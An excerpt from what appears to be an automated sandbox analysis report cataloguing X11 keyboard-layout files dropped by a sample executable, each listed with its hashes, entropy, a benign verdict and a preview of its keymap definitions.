SHA1:	0B88937F82E0128D482C9947A460E19594AF0646
SHA-256:	43F691FB2A05E1DA7533B8D313E87D7F28AD4CEF855608A66F666B545D99896B
SHA-512:	47308051C44030D310622DF714D501AEA1FFDA7CEE4CD29CB7E1D46AA25902304945C5C58412B1ABC6E63C1772E1F4A74248A2E6541AE617E78519D3C2BF08B3
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Norwegian keyboard... include "latin".. name[Group1]= "Norway - Mac";.. key <TLDE> {.[ bar, section ].};. key <AE02> {.[ 2, quotedbl, . at,. oneeighth.].};. key <AE03> {.[ 3,.numbersign, sterling, sterling.].};. key <AE04> {.[. 4, currency, . dollar,. dollar.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash, . bar, backslash.] .};. key <AE08> {.[ 8, parenleft, bracketleft,. braceleft.].};. key <AE09> {.[ 9, parenright, bracketright,.braceright.].};. key <AE10> {.[ 0, equal .].};. key <AE11> {.[ plus, question ].};. key <AE12> {.[ de

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\pt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2592
Entropy (8bit):	4.445129327491806
Encrypted:	false
SSDEEP:	24:IW6BnrYZE+/dLN6xL777gD737tg7PRS67kocn1Mogb7KObHY6Yk8oJx74b0BSFcK:onrYZEtDKzxgI68ebfYC0t738O1frH
MD5:	46143F2E0B7B1453C9B9C4C1D455C558
SHA1:	400BF5504F3C4D3CA36E5CCB2677334580625827
SHA-256:	EE26F93914AC9ADD638DF55C32809A36FC74C6ABF35E7994D66ED9A9AEC50093
SHA-512:	16B93A26997C4BD1D6DDE54FC5A42E8244A87AABB8F8A405C0ED1A44D6D69D1819FF0F79A57C83388D596633EE81EF2AF691B48F080857544E21BD2CBC0B2ED9
Malicious:	false
Preview:	// mac version from Ricardo Cabral <bfe00991@mail.telepac.pt>..partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Portuguese keyboard... include "latin".. name[Group1]= "Portugal - Mac";.. key <LSGT> {.[. less,. greater, . bar, brokenbar.].};. key <AE02> {.[ 2,. quotedbl, . at, oneeighth.].};. key <AE03> {.[ 3,.numbersign, sterling, sterling .].};. key <AE04> {.[ 4,. dollar, section, dollar.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash .].};. key <AE08> {.[ 8, parenleft, bracketleft, braceleft .].};. key <AE09> {.[ 9, parenright, bracketright, braceright .].};. key <AE10> {.[ 0, equal

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\se

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	4.133710811884956
Encrypted:	false
SSDEEP:	24:a6BnrY8/EwHhWNEx3CSI1D71AovtSPRSYogb7V7CQJyKO87Q7327aDo714b1b73I:LnrYaEwBBWdZtgbReq1U67aE6xwC2bxn
MD5:	845EDB4E637368226A84989BE28118E5
SHA1:	2FE9C9B627C11200A5D64366977204ED1C0C9D7C
SHA-256:	C06CEB71A560BEFCA7F89E703AA3473A94B2963BBCFDBF36F76EC7DFFDB9CB17
SHA-512:	DC02844C32988715DB8C2DAC9D31342A6DB14A850414F172DA8C50D343F81BD45AFDBB1770BAE9DFCFD784B5EE1C8534FACAC4032C1AAB8DFFE9737BD2201BED
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Swedish(Sweden) keyboard... include "latin".. name[Group1]= "Sweden - Mac";.. key <TLDE> {.[ section, degree.].};.. key <AE01> {.[ 1, exclam, copyright, exclamdown.].};. key <AE02> {.[ 2, quotedbl, at, oneeighth.].};. key <AE03> {.[ 3, numbersign, sterling, yen.].};. key <AE04> {.[ 4, currency, . dollar,. cent.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash, . bar, backslash.].};. key <AE08> {.[ 8, parenleft, bracketleft, braceleft.].};. key <AE09> {.[ 9, parenright, bracketright, braceright.].};. key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4203
Entropy (8bit):	4.91410151305969
Encrypted:	false
SSDEEP:	48:HM0BkwQCEfuXC35bq4Mnh2T7dCQvYw1N1u9j69K2CqBKSxt/fz:HndQCA5bhMnEdJLojonThL
MD5:	CD544485D342C969497C7A6DD567D199
SHA1:	6840F02982D1F9667029C56A91773E5DC20FFA19
SHA-256:	C19C8753C18482E513ACE8ACF11C3F0C0F9ABDF2E576380106077E44A35F9F26
SHA-512:	7DC4FA798C730BF632AC410A8840F9B559CCC12E0A16B2017DEE3EA9C737776F03AFA4E37DA332BA7F1C57622125544121EED6BC883F9A64CD8B415929D11EF5
Malicious:	false
Preview:	// symbols definition for a Macintosh "Extended" keyboard..xkb_symbols "extended" {.. name[Group1]= "USA";. key <ESC> {.[ Escape...].};.. key <TLDE> {.[ grave,.asciitilde.].};. key <AE01> {.[. 1,.exclam ..].};. key <AE02> {.[. 2,.at..].};. key <AE03> {.[. 3,.numbersign.].};. key <AE04> {.[. 4,.dollar..].};. key <AE05> {.[. 5,.percent..].};. key <AE06> {.[. 6,.asciicircum.].};. key <AE07> {.[. 7,.ampersand.].};. key <AE08> {.[. 8,.asterisk.].};. key <AE09> {.[. 9,.parenleft.].};. key <AE10> {.[. 0,.parenright.].};. key <AE11> {.[ minus,.underscore.].};. key <AE12> {.[ equal,.plus..].};.. key <AD01> {.[. q,.Q ..].};. key <AD02> {.[. w,.W..].};. key <AD03> {.[. e,.E..].};. key <AD04> {.[. r,.R..].};. key <AD05> {.[. t,.T..].};. key <AD06> {.[. y,.Y..].};. key <AD07> {.[. u,.U..].};. key <AD08> {.[. i,.I..].};. key <AD09> {.[. o,.O..].};. key <AD10> {.[. p,.P..].};. key <AD11> {.[

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mao

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.71480995744059
Encrypted:	false
SSDEEP:	12:aBz160dJWf7KpAcaQdu7slh+9m+dgdC9mbJYY91ktC9maJEY911/eCyq3BbzqV:aT607Wf2phFlY9m+d6C9mdYY91P9maJc
MD5:	2FA6DE168EB1812443F26492034C70E6
SHA1:	E38818EED40511D9653C96272223A0C5B1C3E7A8
SHA-256:	4CF3D5533C3E5B059D9EF511D9DCE71BCD9F0183AAB9D11789DC81F71696DE1F
SHA-512:	96B0052D1D2271057025EE36D2E2AC06846DF0668DDCB21F99ED574444D9686495FB8D39EF1FA6B6369FA2B7A89409998A7D135511355B4BFDE55EAE9BC7763A
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. // Adds the macrons needed for the Maori language to. // a simple us keyboard layout... include "latin".. name[Group1]="Maori";.. key <AC01> { [ a, A, amacron, Amacron ] };. key <AD03> { [ e, E, emacron, Emacron ] };. key <AD08> { [ i, I, imacron, Imacron ] };.. key <AD09> { [ o, O, omacron, Omacron ] };. key <AD07> { [ u, U, umacron, Umacron ] };.. key <RALT> { type[Group1]="TWO_LEVEL",. [ ISO_Level3_Shift, Multi_key ] };. modifier_map Mod5 { <RALT> };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\md

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5170
Entropy (8bit):	4.763364404605267
Encrypted:	false
SSDEEP:	48:SIbbxOVo9U1eABbSzktwZw6LreloMQ6aZYozcFTMdk2zoDkL6:3/xoeAB+UV8eloM37s6
MD5:	2596A31971CFD6BA1693DC186F1DBCF5
SHA1:	10B50AC9B3217211C1BEFFAE10FB01D6B794696C
SHA-256:	F4FBBFBD01A23F6F41C3E3107A5AAB8267A6EFFFFEE2D8C68259C21704D2CF88
SHA-512:	A1999F3B728CF760EA2C4D2F37850A84F6C654F55B4FD2C86769D5206D9ABAF81F82EA083AD3565257F7759E95C9C5CED51246502947478F1F27546B39B94AA6
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "ro".. name[Group1]="Moldavian";.};...// ..........................................................................................// . ~ . ! . " . # . ; . % . : . ? . * . ( . . ) . -- . + . . Back ..// . ` . 1 . 2 @ . 3 . 4 $ . 5 . . 6 ^ . 7 & . 8 . 9 . 0 . - . = . space ..// ..........................................................................................// . . . Q . . W . E . R . T . Y . U . I . O . P

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\me

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	4.957837976388892
Encrypted:	false
SSDEEP:	24:2PXbPKT60WVMv60BUyWH60WOrrrqH60Sujv60ShSqv60SDSPXbMDkA3uCqaAsSq1:GL6WVQB0bl0n4jLAbAs/c+
MD5:	33150E7878E987F3519782141C76E9D4
SHA1:	58782362B05DCE4DC52A9348208F4A904F3540B9
SHA-256:	CAE3AE89C0AA42F3A2FAC7194CC6B8C85601E9A6AB44B080789595E51383D1F5
SHA-512:	C9CE0BF2DF3D2D479B8E3D2B2B5552329944C40D7CDEAAC1455A4E20F6713AA270B99F51231B7FBCF1ED6D62D74135EF415FF4CD53A1976E218393E8F1AE3659
Malicious:	false
Preview:	// Montenegro keyboard mapping.//.// Initially, a copy of Serbian variants.//..default partial alphanumeric_keys.xkb_symbols "basic" {. include "rs(latin)". name[Group1]= "Montenegrin";.. key <AD06> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute, Sacute ] }; // s.};..partial alphanumeric_keys.xkb_symbols "cyrillic" {. include "rs(basic)". name[Group1]= "Montenegrin (Cyrillic)";.};..partial alphanumeric_keys.xkb_symbols "cyrillicyz" {. include "rs(yz)". name[Group1]= "Montenegrin (Cyrillic, Z and ZHE swapped)";.};..partial alphanumeric_keys.xkb_symbols "latinunicode" {. include "rs(latinunicode)". name[Group1]= "Montenegrin (Latin Unicode)";.. key <AD06> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute, Sacute ] }; // s.};..partial alphanumeric_keys.xkb_symbols "latinyz" {. include "rs(latinyz)". name[Group1]= "Montenegrin (Latin qwerty)";.. key <AB02> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3105
Entropy (8bit):	4.477638245455727
Encrypted:	false
SSDEEP:	24:yJANT60NBp9oeOR4VbXY82kC8inAFqZz/goZd3QB7AgKqlUt93N4b97F91dllWZt:yJINIocPg7mjmVF9ri+QWZv7+
MD5:	C1048A595370A17B7682EF8BE35E7206
SHA1:	04FCC7CFD624CCFB09FE474ADF8AC96BF2D77FF6
SHA-256:	7F050C01EA58FFA9C7259B9FA1F828E8483BDA753A38C8B52052F2700DCEA39E
SHA-512:	EA51784AE83C120790575C5D15660CF6311564E0EBD0DE8594820106389759EF2CE6CF38F240F7DD66222BDD95C96262BEE3A639EE4FC86CFA267C71529399A0
Malicious:	false
Preview:	// based on keyboard map:.// Author: Damjan Georgievski <penguinista AT mail.net.mk>.// Revision: 1.5..default partial alphanumeric_keys.xkb_symbols "basic" { . name[Group1]= "Macedonian";.. key <AB01> { [ Cyrillic_ze, Cyrillic_ZE.].};. key <AC02> { [ Cyrillic_es, Cyrillic_ES.].};. key <AC01> { [ Cyrillic_a, Cyrillic_A.].};. key <AD01> { [ Cyrillic_lje, Cyrillic_LJE.].};. key <AD02> { [ Cyrillic_nje, Cyrillic_NJE.].};. key <AB03> { [ Cyrillic_tse, Cyrillic_TSE.].};. key <AB02> { [ Cyrillic_dzhe, Cyrillic_DZHE.].};. key <AC03> { [ Cyrillic_de, Cyrillic_DE.].};. key <AD03> { [ Cyrillic_ie, Cyrillic_IE.].};. key <AB04> { [ Cyrillic_ve, Cyrillic_VE.].};. key <AC04> { [ Cyrillic_ef, Cyrillic_EF.].};. key <AD05> { [ Cyrillic_te, Cyrillic_TE.].};. key <AD04> { [ Cyrillic_er, Cyrillic_ER.].};. key <AB06> { [ Cyrillic_en, Cyrillic_EN.].};. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3342
Entropy (8bit):	4.161007339754152
Encrypted:	false
SSDEEP:	48:S9oqMeymFXtaarL2hzWHQll3uf2qypxZBfm/a2g2PVR+xH32KvR2Uae/7gCssPHf:uoqMGaA2xWwM2qWxZpH2KvR2/47
MD5:	CAD49D08A31BF5C51BC98767290D6A64
SHA1:	721F150488E2C275C348FC178499FE57D9868B6C
SHA-256:	5DCFDAAC3ABA30DF0451D122A5294921C495C276126F1B542691BD772D73C6A7
SHA-512:	717A5D69EC4B26B69440B4383AEFF075B6E8809427F315A85658B176312CC70D4E358FC3DD6A1DEC858AEB51DC9958C599389705CF54ED6D0685CBB5183E560F
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "fr(basic)".. name[Group1]="Bambara";.. key <AB06>.{ [ n, N, U0272, U019D ].}; // n N . .. key <AC02>.{ [ s, S, U0161, U0160 ].}; // s S . .. key <AC05>.{ [ g, G, U0254, U0186 ].}; // g G . .. key <AC10>.{ [ m, M, U014B, U014A ].}; // m M . .. key <AD02>.{ [ z, Z, U017E, U017d ].}; // z Z . .. key <AD03>.{ [ e, E, U025B, U0190 ].}; // e E . ...};..partial alphanumeric_keys.xkb_symbols "fr-oss" {.. include "fr(oss)".. name[Group1]="French (Mali, alternative)";.. // . . on d replaces . .. // . . on j replaces . .. // . . on m replaces . .. // . . on z replaces . .. // . . on r replaces . .. // . . on p replaces . ... key <AC03>.{ [ d,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3572
Entropy (8bit):	3.4705670952870045
Encrypted:	false
SSDEEP:	48:SWYhS5inia0iV+UvTbhzjbbMfJx0NBj6/kZhqzMnBE0Q1A+A38O6q:sIxat+ULyqgkZcyBZ3+q
MD5:	4C4051C6F0B48AA44008D9DC86AB5951
SHA1:	C38ECEAA72DAFBCB5C99BC32F46EC4BADF83F5AA
SHA-256:	1B70E47FE46CC58AB7B9C9F26773E62851CBBD654658CA67942F45FBA39FB1B2
SHA-512:	6C7490478E91A2E5E3049EBE21F91A85EF1BDF0A3392995753C803CA4ECFF1A8E1232A3C53F50ED95EC33A809C01BBF047AA00CBFF854CE68B222DE168DB1883
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Burmese";.. key <TLDE> { [ U1050, U100E, grave, asciitilde ] };. key <AE01> { [ U1041, U100D, 1, exclam ] };. key <AE02> { [ U1042, U1052, 2, at ] };. key <AE03> { [ U1043, U100B, 3, numbersign ] };. key <AE04> { [ U1044, U1053, 4, dollar ] };. key <AE05> { [ U1045, U1054, 5, percent ] };. key <AE06> { [ U1046, U1055, 6, asciicircum ] };. key <AE07> { [ U1047, U101B, 7, ampersand ] };. key <AE08> { [ U1048, asterisk, 8, asterisk ] };. key <AE09> { [ U1049, parenleft, 9, parenleft ] };. key <AE10> { [ U1040, parenright, 0, parenright ] };. key <AE11> { [ minus, underscore, minus, underscore ] };. key <AE12> { [ e

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4274
Entropy (8bit):	4.339896226723803
Encrypted:	false
SSDEEP:	48:iwqAK5Z08M8uJwLmTu21JFnIVg47P6R2xgKH0XPq2knF+:ixAKX08MNNTuiX47P6R2xgKH0hkU
MD5:	2E2C0F619AF87E42B9004D459E0ED2D7
SHA1:	14321E1453BBDBAD58023926987876EBE8F50C4F
SHA-256:	8EBCD301822C8D584F9B585C47476B32B64A831867CE6B909F721138F147D620
SHA-512:	9815B03F6B66FB6F6DDE259271551D8834F17DA3FA2FF052E7D4090746615872C53F1958094F9BA6BCF95463A17D10CD86371B5F427DDFCFE9A592C417EF0FEA
Malicious:	false
Preview:	// based on:.// Mongolian standard keyboard.// Author Sanlig Badral <badral@chinggis.com>.// 2002/12/7 Version 1.0..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Mongolian";.. key <TLDE> { [ equal, . plus, ..degree ] };. key <AE01> { [ 1, numerosign, .multiply ] };. key <AE02> { [ 2, minus, .division ] };. key <AE03> { [ 3, quotedbl, .plusminus ] };. key <AE04> { [ 4, U20ae, ..notsign ] }; // Tugrik sign. key <AE05> { [ 5, colon,..NoSymbol .] };. key <AE06> { [ 6, period, notequal ] };. key <AE07> { [ 7, underscore, ampersand .] };. key <AE08> { [ 8, comma, .asterisk ] };. key <AE09> { [ 9, percent, .bracketleft ] };. key <AE10> { [ 0, question, .bracke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mokeypad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	21673
Entropy (8bit):	5.260656894643468
Encrypted:	false
SSDEEP:	192:nPLOfI+KgPXs98zprgevZOPqvxr1LzzH5Bwc+/xK6ET3QS+KvpFDs/7cNAysbNaE:qXzP3we6IZE7QFn1jCD/fO0q6R
MD5:	F3B27B5B196CC21E3C4FFC16940963FF
SHA1:	41191245B1244C3D16B045E99DD0751D5BDC6543
SHA-256:	8816E6D43807235D9BA4CEEC419F696886719BF8785737A5286A6CB3A7629B0C
SHA-512:	19734F13931372E4B6618B3C3C7104217235F22BEEE1B06B1DB8C87B51D95201954339C229F0177F1E8B6D7318AFE02B8CC78E5217145D309659634FBF1A643A
Malicious:	false
Preview:	// $XKeyboardConfig$.// $Xorg: keypad,v 1.3 2000/08/17 19:54:43 cpqbld Exp $..partial hidden keypad_keys.xkb_symbols "overlay" {. include "keypad(overlay1)".};..partial hidden keypad_keys.xkb_symbols "overlay1" {.. // Begin "Keypad" section.. key <KP7> {.[ KP_7.],.overlay1=<KO7>.};. key <KP8> {.[ KP_8.],.overlay1=<KO8>.};. key <KP9> {.[ KP_9.],.overlay1=<KO9>.};.. key <KP4> {.[ KP_4.],.overlay1=<KO4>.};. key <KP5> {.[ KP_5.],.overlay1=<KO5>.};. key <KP6> {.[ KP_6.],.overlay1=<KO6>.};.. key <KP1> {.[ KP_1.],.overlay1=<KO1>.};. key <KP2> {.[ KP_2.],.overlay1=<KO2>.};. key <KP3> {.[ KP_3.],.overlay1=<KO3>.};.. key <KP0> {.[ KP_0.],.overlay1=<KO0>.};. key <KPDL> { .[ period.],.overlay1=<KODL>.};.. key <KO7> {.[ KP_7.].};. key <KO8> {.[ KP_8.].};. key <KO9> {.[ KP_9.].};.. key <KO4> {.[ KP_4.].};. key <KO5> {.[ KP_5.].};. key <KO6> {.[ KP_6.].};.. key <KO1> {.[ KP_1.].};. key <KO2> {.[ KP_2.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mopc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3610
Entropy (8bit):	5.087756347596275
Encrypted:	false
SSDEEP:	48:IKE2dEIQOHCJ2vvBmCSxtznzG4+CAWuGO8914C5:xPTXc3ZyE75
MD5:	1A329359571BB5E738E92797BC0E29C6
SHA1:	64E161A00A98F115F688994B6D520AB2F0F713F5
SHA-256:	BD6FF9BCC42E7052DC9D88FB403622F90EFBF7A0F4E0E7E51683265EAD6222BA
SHA-512:	720EE1FEC58CE681FDEE78279DFAB0638EFBBBDE84F30B2AB9835D1421622DEAFF75D9DFA72FA8CA8091FF9A96811D7542F4D24246A6F8393A9D228957412B4F
Malicious:	false
Preview:	// $XKeyboardConfig$..//.// $XFree86: xc/programs/xkbcomp/symbols/pc,v 1.9 2003/06/09 19:59:46 dawes Exp $..default partial alphanumeric_keys modifier_keys .xkb_symbols "pc105" {.. key <ESC> {.[ Escape...].};.. // the extra key on most European keyboards. key <LSGT> {.[ less, greater, bar, brokenbar ].};.. // these keys are common to all layouts. key <BKSL> {.[ backslash,.bar..].};. key <SPCE> {.[ . space...].};.. include "pc(function)". include "pc(editing)". include "keypad(x11)".. key <BKSP> {.[ BackSpace, BackSpace.].};.. key <TAB> {.[ Tab,.ISO_Left_Tab.].};. key <RTRN> {.[ Return.].};.. key <CAPS> {.[ Caps_Lock.].};..// key <NMLK> {.[ Num_Lock, Pointer_EnableKeys..].};.. key <LFSH> {.[ Shift_L.].};. key <LCTL> {.[ Control_L.].};.. key <LWIN> {.[ Super_L...].};. modifier_map Mod4 { <LWIN> };.. key <RTSH> {.[ Shift_R.].};. key <RCTL> {.[ Control_R.].};.. key <RWIN> {.[ Super_R...].};. modifier_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2982
Entropy (8bit):	4.536991524924478
Encrypted:	false
SSDEEP:	48:n5yHDGYFyBYtGu3ODUHnQoBY3Y5A7ysNqk06/wGkODUHnUQujBY3Y5A7ysZ:5yjP/guAUHbyo5A7doN6/wGnUHijyo5k
MD5:	6C1062688E19425BF59BEC9C63433E0B
SHA1:	34042BA170D4274D447ACFE935FF711903DDF5CD
SHA-256:	355D9F485BCA5657EEFBEDC02989B148975CC4F1A872E50CF6A1CC63A80FB0B0
SHA-512:	602FD6ACB36F462721778C4609196FBF4071D3BDCF4637BC87B843B429207C4B2F8E1F7652E6F8395722B6DC2C5B5E3CA59031E4E33F00748BBE2FB642502A4E
Malicious:	false
Preview:	// Maltese keyboard map (based on MSA Standard DMS100).// by Ramon Casha (ramon.casha@linux.org.mt)..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Maltese";.. // Copied from GB layout. key <AE02> { [ 2, quotedbl, twosuperior, oneeighth ] };. key <AE04> { [ 4, dollar, EuroSign, onequarter ] };. key <AC11> { [apostrophe, at, dead_circumflex, dead_caron] };. key <BKSL> { [numbersign, asciitilde, dead_grave, dead_breve ] };.. // The following four sets are the four additional letters, with the UK. // equivalents. key <TLDE>.{ [ cabovedot, Cabovedot, grave, notsign ].};. key <AD11>.{ [ gabovedot, Gabovedot, bracketleft, braceleft ].};. key <AD12>.{ [ hstroke, Hstroke, bracketright, braceright ].};. key <LSGT>.{ [ zabovedot, Zabovedot, backslash, bar ].};.. // Euro symbol. key <AE03>.{ [ 3, EuroSign, sterling

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mv

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	3.979964307135636
Encrypted:	false
SSDEEP:	48:yNzytF1HPQYHIh0y1y8Yyjz8lzlOVe+feEv:eavQ3TYyjz8lz9XEv
MD5:	C70589FDB196F67A3515A36DDF880DF7
SHA1:	0D96480877ECE73DD777514E784BD82C22AC764C
SHA-256:	9D985FCBDF460E71F54E058E3ED7ED16925BB2041ABB5DF777D602753C03DBE8
SHA-512:	77B4E9218A89A899AEFB6EFAA4FF55B6C6195787D15D66056138DECB10CC23235688EE6377E6B566754F6895A4B491A77FDBA9C88C54272D5C97F87C8B03AFC3
Malicious:	false
Preview:	// Keymap for Thaana/Dhivehi script (Dhivehi language)...default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Dhivehi";.. key <TLDE> { [ grave, asciitilde ] };. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, at ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, asciicircum ] };. key <AE07> { [ 7, ampersand ] };. key <AE08> { [ 8, asterisk ] };. key <AE09> { [ 9, parenleft ] };. key <AE10> { [ 0, parenright ] };. key <AE11> { [ minus, underscore ] };. key <AE12> { [ equal,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nbsp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	5.284929043465918
Encrypted:	false
SSDEEP:	96:qbcPZ/htys94BMxSGB67GB6XGB6bcjMqyoS8hb:9x/Os0WuWiWGcjUoBp
MD5:	B184716682C04D9DD7B8472F1DB62B62
SHA1:	FBFC0FD9B4B9F3893D4520F562F2262FCCE3881A
SHA-256:	455BEE065C996300F866632D8EBC537DDF2A2EEB30A349FCC7557230B24E5E07
SHA-512:	3582A3AF10DF1FE3CD2EF7940B91E4FB427BF8D72FF610299FC07BA3584BBC53E5D40CA32A834DB5A760693BEBBAA6CD0CC6761B91DC17CA7CE25F8F557D02ED
Malicious:	false
Preview:	// Let Space key provide No-Break Space (NBSP), Narrow No-Break Space (NNBSP),.// Zero-Width Non-Joiner (ZWNJ), and Zero-Width Joiner (ZWJ) for the desired.// levels....////////////////////////////////////////.// Only Space..partial.xkb_symbols "none" {. key <SPCE> {. type[Group1]="ONE_LEVEL",. symbols[Group1]= [ space ]. };.};...////////////////////////////////////////.// No-Break Space..partial.xkb_symbols "level2" {. key <SPCE> {. type[Group1]="TWO_LEVEL",. symbols[Group1]= [ space, nobreakspace ]. };.};...// level3 & level3ns provide no-breaking spaces starting from level3.// This is good for typographers but experience shows many users accidently.// type no-breaking spaces on the CLI (resulting in errors).// Used by fr(latin9) and lt(std).partial.xkb_symbols "level3" {. key <SPCE> {. type[Group1]="FOUR_LEVEL",. symbols[Group1]= [ space, space, nobreakspace ]. };.};..// level3s kills fourth level.// Used by ca(multix).partial.xkb_symbols "level3s" {. key <S

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nec_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6076
Entropy (8bit):	5.10077143720479
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLCBrBtFbWOduf7v3VcT8rAryKtV8w:8YQHHgrTedbWOcv3R0yKt6w
MD5:	65FE5321315469BAA288CA8F40067830
SHA1:	2DD05C96A9F6C70E03ECD545BDB0E8D633DF4456
SHA-256:	9B053CF9B94208A99AD25F0CDC625054952E618DA3F8A41F5E0DDF5239651D96
SHA-512:	276F34F8301A92EF30993669149A4798D0E90D2E74C1E751402E0282C4508B360B9C677CEE44A42878816667C5B3DDA4AB49C43A8347C24FFF37E25012D8794E
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ng

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6263
Entropy (8bit):	4.377421514355354
Encrypted:	false
SSDEEP:	96:o+k5tn5r5F085W8ELQADTJa8GYHXJ5+Lj0YsyMc1jNw:o7/r5F9pEzNHX+cGDu
MD5:	C3ADE66A520BEC7549F759D2E6F51B63
SHA1:	C96D366A130E245104E9278A831387CF10671559
SHA-256:	9892A9920DD5126B4C9032843C9365785EF151B0C9564AA52408FA112CFA5A78
SHA-512:	5B08A201584B66EFB6B4D40B2B87CC9AEF3C762A1F3DC9BC6104C682622EFFAD69222A9B35B75FC65A1FDD1B41292C5022B8B85F9A09E395AFF0D4C677A23C75
Malicious:	false
